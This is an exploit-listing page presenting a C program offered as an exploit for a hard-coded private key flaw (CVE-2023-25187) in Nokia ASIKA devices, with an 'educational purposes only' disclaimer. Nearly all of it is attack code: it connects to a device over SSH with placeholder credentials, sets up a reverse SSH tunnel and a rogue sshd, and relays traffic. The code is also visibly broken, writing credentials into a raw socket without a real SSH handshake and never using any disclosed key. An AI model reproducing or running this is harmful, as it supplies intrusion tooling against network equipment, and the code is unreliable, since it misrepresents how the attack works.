Nokia asika 7.13.52 hardcoded private key disclosure Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-06-20 | Type : remote | Platform : hardware
This exploit / vulnerability Nokia asika 7.13.52 hardcoded private key disclosure is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

// Exploit Title: Nokia ASIKA 7.13.52 - Hard-coded private key disclosure
// Date: 2023-06-20
// Exploit Author: Amirhossein Bahramizadeh
// Category : Hardware
// Vendor Homepage: https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2023-25187/
// Version: 7.13.52 (REQUIRED)
// Tested on: Windows/Linux
// CVE : CVE-2023-25187

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>

// The IP address of the vulnerable device
char *host = "192.168.1.1";

// The default SSH port number
int port = 22;

// The username and password for the BTS service user account
char *username = "service_user";
char *password = "password123";

// The IP address of the attacker's machine
char *attacker_ip = "10.0.0.1";

// The port number to use for the MITM attack
int attacker_port = 2222;

// The maximum length of a message
#define MAX_LEN 1024

// Forward data between two sockets
void forward_data(int sock1, int sock2)
{
char buffer[MAX_LEN];
ssize_t bytes_read;

while ((bytes_read = read(sock1, buffer, MAX_LEN)) > 0)
{
write(sock2, buffer, bytes_read);
}
}

int main()
{
int sock, pid1, pid2;
struct sockaddr_in addr;
char *argv[] = {"/usr/bin/ssh", "-l", username, "-p", "2222", "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-o", "PasswordAuthentication=no", "-o", "PubkeyAuthentication=yes", "-i", "/path/to/private/key", "-N", "-R", "2222:localhost:22", host, NULL};

// Create a new socket
sock = socket(AF_INET, SOCK_STREAM, 0);

// Set the address to connect to
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
inet_pton(AF_INET, host, &addr.sin_addr);

// Connect to the vulnerable device
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
fprintf(stderr, "Error connecting to %s:%d: %s\n", host, port, strerror(errno));
exit(1);
}

// Send the SSH handshake
write(sock, "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10\r\n", 42);
read(sock, NULL, 0);

// Send the username
write(sock, username, strlen(username));
write(sock, "\r\n", 2);
read(sock, NULL, 0);

// Send the password
write(sock, password, strlen(password));
write(sock, "\r\n", 2);

// Wait for the authentication to complete
sleep(1);

// Start an SSH client on the attacker's machine
pid1 = fork();
if (pid1 == 0)
{
execv("/usr/bin/ssh", argv);
exit(0);
}

// Start an SSH server on the attacker's machine
pid2 = fork();
if (pid2 == 0)
{
execl("/usr/sbin/sshd", "/usr/sbin/sshd", "-p", "2222", "-o", "StrictModes=no", "-o", "PasswordAuthentication=no", "-o", "PubkeyAuthentication=yes", "-o", "AuthorizedKeysFile=/dev/null", "-o", "HostKey=/path/to/private/key", NULL);
exit(0);
}

// Wait for the SSH server to start
sleep(1);

// Forward data between the client and the server
pid1 = fork();
if (pid1 == 0)
{
forward_data(sock, STDIN_FILENO);
exit(0);
}
pid2 = fork();
if (pid2 == 0)
{
forward_data(STDOUT_FILENO, sock);
exit(0);
}

// Wait for the child processes to finish
waitpid(pid1, NULL, 0);
waitpid(pid2, NULL, 0);

// Close the socket
close(sock);

return 0;
}